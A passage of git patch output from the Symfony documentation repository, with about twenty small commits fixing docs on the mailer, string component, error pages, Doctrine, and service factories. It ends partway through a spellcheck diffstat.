+    u('नमस्ते')->codePointsAt(2); // [2360]
 
 `Unicode equivalence`_ is the specification by the Unicode standard that
 different sequences of code points represent the same character. For example,

From 4874152fe4585e33847f0c71497fdcb0fe5a7522 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 31 Dec 2019 19:24:55 +0100
Subject: [PATCH 0129/7107] SMimeEncrypter add Tip

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index e7b1794eb30..eff89f78027 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -656,6 +656,11 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
+.. tip::
+
+    The ``SMimeEncrypter`` class defines a second argument to choose
+    an algorithm to encrypt the message. the cipher must be one of these PHP constants: https://www.php.net/manual/en/openssl.ciphers.php
+    
 Sending Messages Async
 ----------------------
 

From ad4f1d21b0c1219f10d0cf3b84b48ab8d4f7ec74 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2020 09:18:12 +0100
Subject: [PATCH 0130/7107] Tweaks

---
 mailer.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index eff89f78027..691ea2d83c6 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -647,6 +647,8 @@ and it will select the appropriate certificate depending on the ``To`` option::
         // ...
         ->to('john@example.com');
 
+    // the second optional argument of SMimeEncrypter defines which encryption algorithm is used
+    // (it must be one of these constants: https://www.php.net/manual/en/openssl.ciphers.php)
     $encrypter = new SMimeEncrypter([
         // key = email recipient; value = path to the certificate file
         'jane@example.com' => '/path/to/first-certificate.crt',
@@ -656,11 +658,6 @@ and it will select the appropriate certificate depending on the ``To`` option::
     $firstEncryptedEmail = $encrypter->encrypt($firstEmail);
     $secondEncryptedEmail = $encrypter->encrypt($secondEmail);
 
-.. tip::
-
-    The ``SMimeEncrypter`` class defines a second argument to choose
-    an algorithm to encrypt the message. the cipher must be one of these PHP constants: https://www.php.net/manual/en/openssl.ciphers.php
-    
 Sending Messages Async
 ----------------------
 

From 35130effcd4e1319770c02ae94e253e53e7da66f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2020 09:50:57 +0100
Subject: [PATCH 0131/7107] Minor tweaks

---
 configuration/dot-env-changes.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index c0161b18a23..7484c4e1603 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -47,8 +47,8 @@ changes can be made to any Symfony 3.4 or higher app:
 
 #. Create a new `config/bootstrap.php`_ file in your project. This file loads Composer's
    autoloader and loads all the ``.env`` files as needed (note: in an earlier recipe,
-   this file was called ``src/.bootstrap.php``).  
-   For Symfony 3.3 - 4.1 please use `3.3/config/bootstrap.php`_
+   this file was called ``src/.bootstrap.php``; if you are upgrading from Symfony 3.3
+   or 4.1, use the `3.3/config/bootstrap.php`_ file instead).
 
 #. Update your `public/index.php`_ (`index.php diff`_) file to load the new ``config/bootstrap.php``
    file. If you've customized this file, make sure to keep those changes (but use

From 17cbf7f0e3c6bce14b32bd094ee779e27637e53e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2020 10:31:32 +0100
Subject: [PATCH 0132/7107] Minor tweaks

---
 components/string.rst | 19 +++++++------------
 1 file changed, 7 insertions(+), 12 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 6f27ad6ffab..c678a3cb2aa 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -317,8 +317,8 @@ Methods to Search and Replace
         return '['.$match[0].']';
     }); // result = '[1][2][3]'
 
-Methods to Join, Split and Truncate
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Methods to Join, Split, Truncate and Reverse
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 ::
 
@@ -358,19 +358,14 @@ Methods to Join, Split and Truncate
     // breaks the string into pieces of the length given as argument
     u('0123456789')->chunk(3);  // ['012', '345', '678', '9']
 
-.. versionadded:: 5.1
-
-    The reverse() method was introduced in Symfony 5.1.
-
-Method to Reverse
-~~~~~~~~~~~~~~~~~
-
-::
-
-    // reverses the order of characters in a string
+    // reverses the order of the string contents
     u('foo bar')->reverse(); // 'rab oof'
     u('さよなら')->reverse(); // 'らなよさ'
 
+.. versionadded:: 5.1
+
+    The ``reverse()`` method was introduced in Symfony 5.1.
+
 Methods Added by ByteString
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 4835920e2a7ce5cfc03d1efd7ab250126cc53ec3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 2 Jan 2020 10:45:20 +0100
Subject: [PATCH 0133/7107] Fixed broken link

---
 mailer.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 4d54c3bef00..53a3a50e0ff 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -235,7 +235,7 @@ Embedding Images
 
 If you want to display images inside your email, you must embed them
 instead of adding them as attachments. When using Twig to render the email
-contents, as explained `later in this article <Embedding Images>`_,
+contents, as explained :ref:`later in this article <reference-mailer-twig-embedding-images>`,
 the images are embedded automatically. Otherwise, you need to embed them manually.
 
 First, use the ``embed()`` or ``embedFromPath()`` method to add an image from a
@@ -347,6 +347,8 @@ the ``TemplatedEmail`` class:
         // ...
     ;
 
+.. _reference-mailer-twig-embedding-images:
+
 Embedding Images
 ~~~~~~~~~~~~~~~~
 

From e56576e0dfb7a0c479ae70334fe55ec8f86cae27 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2020 10:54:57 +0100
Subject: [PATCH 0134/7107] Minor tweak

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 53a3a50e0ff..6dd02d58c35 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -235,7 +235,7 @@ Embedding Images
 
 If you want to display images inside your email, you must embed them
 instead of adding them as attachments. When using Twig to render the email
-contents, as explained :ref:`later in this article <reference-mailer-twig-embedding-images>`,
+contents, as explained :ref:`later in this article <mailer-twig-embedding-images>`,
 the images are embedded automatically. Otherwise, you need to embed them manually.
 
 First, use the ``embed()`` or ``embedFromPath()`` method to add an image from a
@@ -347,7 +347,7 @@ the ``TemplatedEmail`` class:
         // ...
     ;
 
-.. _reference-mailer-twig-embedding-images:
+.. _mailer-twig-embedding-images:
 
 Embedding Images
 ~~~~~~~~~~~~~~~~

From 72ac457f98c6a962fd7c30848b7fcd5db2cd7bf3 Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.demb@ya.ru>
Date: Fri, 27 Dec 2019 16:42:44 +0200
Subject: [PATCH 0135/7107] Fixed problem normalizer example

---
 controller/error_pages.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 471bb55d4f6..2e3743eab14 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -206,10 +206,10 @@ to change the output contents, create a new Normalizer that supports the
         public function normalize($exception, $format = null, array $context = [])
         {
             return [
-                'content': 'This is my custom problem normalizer.',
-                'exception': [
-                    'message': $exception->getMessage(),
-                    'code': $exception->getStatusCode(),
+                'content' => 'This is my custom problem normalizer.',
+                'exception'=> [
+                    'message' => $exception->getMessage(),
+                    'code' => $exception->getStatusCode(),
                 ],
             ];
         }

From fb3d7c1ef4042071cdb6df8b27fd7342388e0d7a Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 25 Dec 2019 17:09:14 +0100
Subject: [PATCH 0136/7107] Update error_pages.rst

---
 controller/error_pages.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 2e3743eab14..951b7c6cb02 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -193,7 +193,7 @@ To override non-HTML error output, the Serializer component needs to be installe
     $ composer require serializer
 
 The Serializer component has a built-in ``FlattenException`` normalizer
-(``ProblemNormalizer``) and JSON/XML/CSV/YAML encoders. When your application
+(:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`) and JSON/XML/CSV/YAML encoders. When your application
 throws an exception, Symfony can output it in one of those formats. If you want
 to change the output contents, create a new Normalizer that supports the
 ``FlattenException`` input::
@@ -201,9 +201,11 @@ to change the output contents, create a new Normalizer that supports the
     # src/App/Serializer/MyCustomProblemNormalizer.php
     namespace App\Serializer;
 
+    use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+
     class MyCustomProblemNormalizer implements NormalizerInterface
     {
-        public function normalize($exception, $format = null, array $context = [])
+        public function normalize($exception, string $format = null, array $context = [])
         {
             return [
                 'content' => 'This is my custom problem normalizer.',
@@ -214,7 +216,7 @@ to change the output contents, create a new Normalizer that supports the
             ];
         }
 
-        public function supportsNormalization($data, $format = null)
+        public function supportsNormalization($data, string $format = null)
         {
             return $data instanceof FlattenException;
         }
@@ -252,14 +254,14 @@ configuration option to point to it:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <framework:config>
-                <framework:error_controller>App\Controller\ErrorController::showAction</framework:error_controller>
+                <framework:error-controller>App\Controller\ErrorController::showAction</framework:error-controller>
             </framework:config>
 
         </container>
 
     .. code-block:: php
 
-        // config/packages/twig.php
+        // config/packages/framework.php
         $container->loadFromExtension('framework', [
             'error_controller' => 'App\Controller\ErrorController::showAction',
             // ...

From b8d8b83dfca5c74e3bd099e1b5bdff05e7c25c67 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2020 12:06:41 +0100
Subject: [PATCH 0137/7107] Minor tweak

---
 controller/error_pages.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 951b7c6cb02..f713b909035 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -193,10 +193,10 @@ To override non-HTML error output, the Serializer component needs to be installe
     $ composer require serializer
 
 The Serializer component has a built-in ``FlattenException`` normalizer
-(:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`) and JSON/XML/CSV/YAML encoders. When your application
-throws an exception, Symfony can output it in one of those formats. If you want
-to change the output contents, create a new Normalizer that supports the
-``FlattenException`` input::
+(:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`) and
+JSON/XML/CSV/YAML encoders. When your application throws an exception, Symfony
+can output it in one of those formats. If you want to change the output
+contents, create a new Normalizer that supports the ``FlattenException`` input::
 
     # src/App/Serializer/MyCustomProblemNormalizer.php
     namespace App\Serializer;

From 2fcb72f1f92b65721cea67282486b25b3ed4bc1d Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 25 Dec 2019 16:10:00 +0100
Subject: [PATCH 0138/7107] Update error_handler.rst

---
 components/error_handler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/error_handler.rst b/components/error_handler.rst
index 08e179efa20..fe5afd0af1b 100644
--- a/components/error_handler.rst
+++ b/components/error_handler.rst
@@ -49,7 +49,7 @@ Turning PHP Errors into Exceptions
 The :class:`Symfony\\Component\\ErrorHandler\\ErrorHandler` class catches PHP
 errors and uncaught PHP exceptions and turns them into PHP's
 :phpclass:`ErrorException` objects, except for fatal PHP errors, which are
-turned into Symfony's :class:`Symfony\\Component\\ErrorHandler\\Exception\\FatalErrorException`
+turned into Symfony's :class:`Symfony\\Component\\ErrorHandler\\Error\\FatalError`
 objects.
 
 If the application uses the FrameworkBundle, this error handler is enabled by

From 20520f215b473e730a59255a2ca315e57fa60d24 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Tue, 24 Dec 2019 01:24:57 +0100
Subject: [PATCH 0139/7107] Update event_dispatcher.rst

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 6cfff941a4f..6c472d90e97 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -404,7 +404,7 @@ from being called. In other words, the listener needs to be able to tell
 the dispatcher to stop all propagation of the event to future listeners
 (i.e. to not notify any more listeners). This can be accomplished from
 inside a listener via the
-:method:`Symfony\\Component\\EventDispatcher\\Event::stopPropagation` method::
+:method:`Symfony\\Contracts\\EventDispatcher\\Event::stopPropagation` method::
 
     use Acme\Store\Event\OrderPlacedEvent;
 

From c23db3921d5aa2cc5e5eedef7cc2e0c84a67ed2b Mon Sep 17 00:00:00 2001
From: Johnny Peck <johnnypeck@users.noreply.github.com>
Date: Thu, 2 Jan 2020 06:59:01 -0500
Subject: [PATCH 0140/7107] Update doctrine.rst

Grammar.
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 3791ae898a9..0eadc82edee 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -742,7 +742,7 @@ Querying with the Query Builder
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Doctrine also provides a `Query Builder`_, an object-oriented way to write
-queries. It is recommended to use this when queries and build dynamically (i.e.
+queries. It is recommended to use this when queries are built dynamically (i.e.
 based on PHP conditions)::
 
     // src/Repository/ProductRepository.php

From 8bef406ce2951cc6fdb5503ae8303aef52a82e97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2020 15:23:41 +0100
Subject: [PATCH 0141/7107] Minor tweak

---
 security/access_control.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 0daab78c71c..0e5fd218c61 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -164,8 +164,8 @@ options:
 
     If you define both ``roles`` and ``allow_if``, and your Access Decision
     Strategy is the default one (``affirmative``), then the user will be granted
-    access if there's at least one valid condition. See :doc:`/security/voters`
-    to change your strategy to something more suited to your needs.
+    access if there's at least one valid condition. If this behavior doesn't fit
+    your needs, :ref:`change the Access Decision Strategy <security-voters-change-strategy>`.
 
 .. tip::
 

From 2cf09a947582e08d1c0ed846b650a08a35ecf928 Mon Sep 17 00:00:00 2001
From: Vyacheslav Demyanov <demyanovs@gmail.com>
Date: Wed, 11 Dec 2019 11:20:35 +0300
Subject: [PATCH 0142/7107] Use HttpKernel Component

We need to import Symfony\Component\HttpKernel before using it.
---
 create_framework/http_kernel_httpkernelinterface.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index ed1870706fd..3ec76549b2e 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -56,6 +56,7 @@ PHP; it implements ``HttpKernelInterface`` and wraps another
     // example.com/web/front.php
 
     // ...
+    use Symfony\Component\HttpKernel;
 
     $framework = new Simplex\Framework($dispatcher, $matcher, $controllerResolver, $argumentResolver);
     $framework = new HttpKernel\HttpCache\HttpCache(

From 8f96598d8ffb4e867337a1be7e6cafe4a5600052 Mon Sep 17 00:00:00 2001
From: Vyacheslav Demyanov <demyanovs@gmail.com>
Date: Tue, 10 Dec 2019 17:06:48 +0300
Subject: [PATCH 0143/7107] It's needed to change the returned string

Following the documentation, we check the Calendar application and get the string "Yep, this is a leap year!" instead of "Hello Fabien".
---
 create_framework/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 3a0d0a5f5ff..099ada7e704 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -183,7 +183,7 @@ Response::
         $response = $framework->handle(new Request());
 
         $this->assertEquals(200, $response->getStatusCode());
-        $this->assertContains('Hello Fabien', $response->getContent());
+        $this->assertContains('Yep, this is a leap year!', $response->getContent());
     }
 
 In this test, we simulate a route that matches and returns a simple

From 93668de2f447bdad9cfa961ca5cb0469954160e6 Mon Sep 17 00:00:00 2001
From: rosier <rosier@interstroom.nl>
Date: Thu, 2 Jan 2020 16:15:34 +0100
Subject: [PATCH 0144/7107] Update service id of the MailerInterface

The service id of the MailerInterface was changed in https://github.com/symfony/symfony/pull/31854 to avoid an conflict with SwiftMailer
---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 6dd02d58c35..5516f4564ea 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -93,7 +93,7 @@ Creating & Sending Messages
 ---------------------------
 
 To send an email, autowire the mailer using
-:class:`Symfony\\Component\\Mailer\\MailerInterface` (service id ``mailer``)
+:class:`Symfony\\Component\\Mailer\\MailerInterface` (service id ``mailer.mailer``)
 and create an :class:`Symfony\\Component\\Mime\\Email` object::
 
     // src/Controller/MailerController.php

From 1b92a9fdf4f84b9018e1fba599003eefefad4d19 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 10 Oct 2019 11:23:57 +0200
Subject: [PATCH 0145/7107] Getting product using Symfony autowiring

---
 doctrine.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index 7a4558240c9..454d6b6339f 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -522,6 +522,24 @@ be able to go to ``/product/1`` to see your new product::
         // in the template, print things with {{ product.name }}
         // return $this->render('product/show.html.twig', ['product' => $product]);
     }
+    
+Another possibility is to use the ``ProductRepository`` using Symfony's autowiring 
+and injected by the dependency injection container::
+
+    // src/Controller/ProductController.php
+    // ...
+    use App\Repository\ProductRepository;
+
+    /**
+     * @Route("/product/{id}", name="product_show")
+     */
+    public function show($id, ProductRepository $productRepository)
+    {
+        $product = $productRepository
+            ->find($id);
+        
+        // ...
+    }
 
 Try it out!
 

From 84151dc19fdeaba280bf55970f05a18315036af5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Thu, 2 Jan 2020 16:50:43 +0100
Subject: [PATCH 0146/7107] Fix invalid yaml

---
 service_container/alias_private.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index b90bdfb5ab0..09b2d11376c 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -175,7 +175,7 @@ or you decided not to maintain it anymore), you can deprecate its definition:
             deprecated: true
 
             # ...but you can also define a custom deprecation message
-            deprecated: 'The "%alias_id%" alias is deprecated. Don\'t use it anymore.'
+            deprecated: 'The "%alias_id%" alias is deprecated. Do not use it anymore.'
 
     .. code-block:: xml
 

From 0117fe5998a8c7de83bfddba72ecca6d101b5af2 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 2 Jan 2020 23:32:40 +0100
Subject: [PATCH 0147/7107] Fix broken link

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 99fcdd2e3bb..620acb538e5 100644
--- a/testing.rst
+++ b/testing.rst
@@ -484,7 +484,7 @@ script::
 AJAX Requests
 ~~~~~~~~~~~~~
 
-The Client provides a :method:`Symfony\\Component\\BrowserKit\\Client::xmlHttpRequest`
+The Client provides a :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
 method, which has the same arguments as the ``request()`` method, and it's a
 shortcut to make AJAX requests::
 

From 9d8285f89745bd7d0c4b0097cbfdcef85b26c6da Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2020 17:04:02 +0100
Subject: [PATCH 0148/7107] Fixed a wrong reference

---
 templating/hinclude.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index ceebf6ea3b4..def7939ab17 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -10,7 +10,7 @@ performance you can use the `hinclude.js`_ JavaScript library to embed
 controllers asynchronously.
 
 First, include the `hinclude.js`_ library in your page
-ref:`linking to it <templates-link-to-assets>` from the template or adding it
+:ref:`linking to it <templates-link-to-assets>` from the template or adding it
 to your application JavaScript :doc:`using Webpack Encore </frontend>`.
 
 As the embedded content comes from another page (or controller for that matter),

From 03956a8db79e835e3db43cac596cb0da154b2602 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2020 17:33:12 +0100
Subject: [PATCH 0149/7107] [DependencyInjection] Reworded the article about
 factories

---
 service_container/factories.rst | 58 ++++++++++++++++++++-------------
 1 file changed, 36 insertions(+), 22 deletions(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 7abf0a93236..bc0f73b3475 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -4,13 +4,17 @@
 Using a Factory to Create Services
 ==================================
 
-Symfony's Service Container provides a powerful way of controlling the
-creation of objects, allowing you to specify arguments passed to the constructor
-as well as calling methods and setting parameters. Sometimes, however, this
-will not provide you with everything you need to construct your objects.
-For this situation, you can use a factory to create the object and tell
-the service container to call a method on the factory rather than directly
-instantiating the class.
+Symfony's Service Container provides multiple features to control the creation
+of objects, allowing you to specify arguments passed to the constructor as well
+as calling methods and setting parameters.
+
+However, sometimes you need to apply the `factory design pattern`_ to delegate
+the object creation to some special object called "the factory". In those cases,
+the service container can call a method on your factory to create the object
+rather than directly instantiating the class.
+
+Static Factories
+----------------
 
 Suppose you have a factory that configures and returns a new ``NewsletterManager``
 object by calling the static ``createNewsletterManager()`` method::
@@ -27,9 +31,9 @@ object by calling the static ``createNewsletterManager()`` method::
         }
     }
 
-To make the ``NewsletterManager`` object available as a service, you can
-configure the service container to use the
-``NewsletterManagerStaticFactory::createNewsletterManager()`` factory method:
+To make the ``NewsletterManager`` object available as a service, use the
+``factory`` option to define which method of which class must be called to
+create its object:
 
 .. configuration-block::
 
@@ -40,7 +44,7 @@ configure the service container to use the
             # ...
 
             App\Email\NewsletterManager:
-                # call the static method
+                # the first argument is the class and the second argument is the static method
                 factory: ['App\Email\NewsletterManagerStaticFactory', 'createNewsletterManager']
 
     .. code-block:: xml
@@ -54,7 +58,7 @@ configure the service container to use the
 
             <services>
                 <service id="App\Email\NewsletterManager">
-                    <!-- call the static method -->
+                    <!-- the first argument is the class and the second argument is the static method -->
                     <factory class="App\Email\NewsletterManagerStaticFactory" method="createNewsletterManager"/>
 
                     <!-- if the factory class is the same as the service class, you can omit
@@ -77,8 +81,8 @@ configure the service container to use the
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
-            // call the static method
             $services->set(NewsletterManager::class)
+                // the first argument is the class and the second argument is the static method
                 ->factory([NewsletterManagerStaticFactory::class, 'createNewsletterManager']);
         };
 
@@ -91,11 +95,11 @@ configure the service container to use the
     the configured class name may be used by compiler passes and therefore
     should be set to a sensible value.
 
-If your factory is not using a static function to configure and create your
-service, but a regular method, you can instantiate the factory itself as a
-service too. Later, in the ":ref:`factories-passing-arguments-factory-method`"
-section, you learn how you can inject arguments in this method.
+Non-Static Factories
+--------------------
 
+If your factory is using a regular method instead of a static one to configure
+and create the service, instantiate the factory itself as a service too.
 Configuration of the service container then looks like this:
 
 .. configuration-block::
@@ -106,10 +110,12 @@ Configuration of the service container then looks like this:
         services:
             # ...
 
+            # first, create a service for the factory
             App\Email\NewsletterManagerFactory: ~
 
+            # second, use the factory service as the first argument of the 'factory'
+            # option and the factory method as the second argument
             App\Email\NewsletterManager:
-                # call a method on the specified factory service
                 factory: ['@App\Email\NewsletterManagerFactory', 'createNewsletterManager']
 
     .. code-block:: xml
@@ -122,10 +128,12 @@ Configuration of the service container then looks like this:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
+                <!-- first, create a service for the factory -->
                 <service id="App\Email\NewsletterManagerFactory"/>
 
+                <!-- second, use the factory service as the first argument of the 'factory'
+                     option and the factory method as the second argument -->
                 <service id="App\Email\NewsletterManager">
-                    <!-- call a method on the specified factory service -->
                     <factory service="App\Email\NewsletterManagerFactory"
                         method="createNewsletterManager"
                     />
@@ -144,15 +152,20 @@ Configuration of the service container then looks like this:
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
+            // first, create a service for the factory
             $services->set(NewsletterManagerFactory::class);
 
-            // call a method on the specified factory service
+            // second, use the factory service as the first argument of the 'factory'
+            // method and the factory method as the second argument
             $services->set(NewsletterManager::class)
                 ->factory([ref(NewsletterManagerFactory::class), 'createNewsletterManager']);
         };
 
 .. _factories-invokable:
 
+Invokable Factories
+-------------------
+
 Suppose you now change your factory method to ``__invoke()`` so that your
 factory service can be used as a callback::
 
@@ -234,8 +247,8 @@ Passing Arguments to the Factory Method
     that's enabled for your service.
 
 If you need to pass arguments to the factory method you can use the ``arguments``
-options. For example, suppose the ``createNewsletterManager()`` method in the previous
-example takes the ``templating`` service as an argument:
+option. For example, suppose the ``createNewsletterManager()`` method in the
+previous examples takes the ``templating`` service as an argument:
 
 .. configuration-block::
 
@@ -285,3 +298,4 @@ example takes the ``templating`` service as an argument:
             ;
         };
 
+.. _`factory design pattern`: https://en.wikipedia.org/wiki/Factory_(object-oriented_programming)

From 715a4e703197e3307ca85f56818ea6249414b715 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 22 Dec 2019 23:14:12 +0100
Subject: [PATCH 0150/7107] [3.4] Fixed everything found by the spellcheck
 builder

---
 .gitignore                                    |   1 +
 _build/.requirements.txt                      |   2 +-
 _build/conf.py                                |   5 +
 _build/spelling_word_list.txt                 | 347 ++++++++++++
 best_practices/creating-the-project.rst       |   2 +-
 bundles/best_practices.rst                    |   2 +-
 .../adapters/php_array_cache_adapter.rst      |   2 +-
 .../cache/adapters/php_files_adapter.rst      |   2 +-
 components/dotenv.rst                         |   2 +-
 components/http_foundation.rst                |   8 +-
 .../http_foundation/session_configuration.rst |   2 +-
 components/intl.rst                           |   4 +-
 components/phpunit_bridge.rst                 |   4 +-
 components/process.rst                        |   6 +-
 configuration.rst                             |   8 +-
 configuration/external_parameters.rst         |   2 +-
 contributing/code/bugs.rst                    |   2 +-
 contributing/code/core_team.rst               |   2 +-
 contributing/documentation/format.rst         |   2 +-
 contributing/documentation/overview.rst       |   2 +-
 contributing/documentation/standards.rst      |   4 +-
 controller/soap_web_service.rst               |   2 +-
 create_framework/introduction.rst             |   2 +-
 create_framework/routing.rst                  |   2 +-
 deployment/azure-website.rst                  |   6 +-
 deployment/fortrabbit.rst                     |   4 +-
 deployment/heroku.rst                         |   2 +-
 deployment/proxies.rst                        |   4 +-
 doctrine/associations.rst                     |   4 +-
 doctrine/custom_dql_functions.rst             |   2 +-
 email/spool.rst                               |   6 +-
 event_dispatcher/before_after_filters.rst     |   2 +-
 form/csrf_protection.rst                      |   2 +-
 form/data_transformers.rst                    |   6 +-
 form/form_themes.rst                          |   4 +-
 frontend/encore/babel.rst                     |   4 +-
 frontend/encore/postcss.rst                   |   4 +-
 frontend/encore/sourcemaps.rst                |   3 +-
 frontend/encore/versioning.rst                |   4 +-
 frontend/encore/versus-assetic.rst            |  40 +-
 frontend/encore/vuejs.rst                     |   4 +-
 http_cache/form_csrf_caching.rst              |   2 +-
 http_cache/validation.rst                     |  13 +-
 logging/channels_handlers.rst                 |   2 +-
 logging/monolog_console.rst                   |   2 +-
 page_creation.rst                             |   2 +-
 performance.rst                               |   4 +-
 profiler/data_collector.rst                   |   2 +-
 profiler/storage.rst                          |   2 +-
 reference/configuration/assetic.rst           |   2 +-
 reference/configuration/debug.rst             |  24 +-
 reference/configuration/doctrine.rst          |  22 +-
 reference/configuration/framework.rst         | 534 +++++++++---------
 reference/configuration/security.rst          | 114 ++--
 reference/configuration/swiftmailer.rst       | 110 ++--
 reference/configuration/twig.rst              |  84 +--
 reference/configuration/web_profiler.rst      |  20 +-
 reference/constraints/All.rst                 |   4 +-
 reference/constraints/Bic.rst                 |   8 +-
 reference/constraints/Blank.rst               |   4 +-
 reference/constraints/Callback.rst            |   4 +-
 reference/constraints/CardScheme.rst          |   8 +-
 reference/constraints/Choice.rst              |  40 +-
 reference/constraints/Collection.rst          |  24 +-
 reference/constraints/Count.rst               |  20 +-
 reference/constraints/Country.rst             |   4 +-
 reference/constraints/Currency.rst            |   4 +-
 reference/constraints/Date.rst                |   4 +-
 reference/constraints/DateTime.rst            |   4 +-
 reference/constraints/Email.rst               |  16 +-
 reference/constraints/EqualTo.rst             |   4 +-
 reference/constraints/Expression.rst          |  12 +-
 reference/constraints/File.rst                |  94 +--
 reference/constraints/GreaterThan.rst         |   4 +-
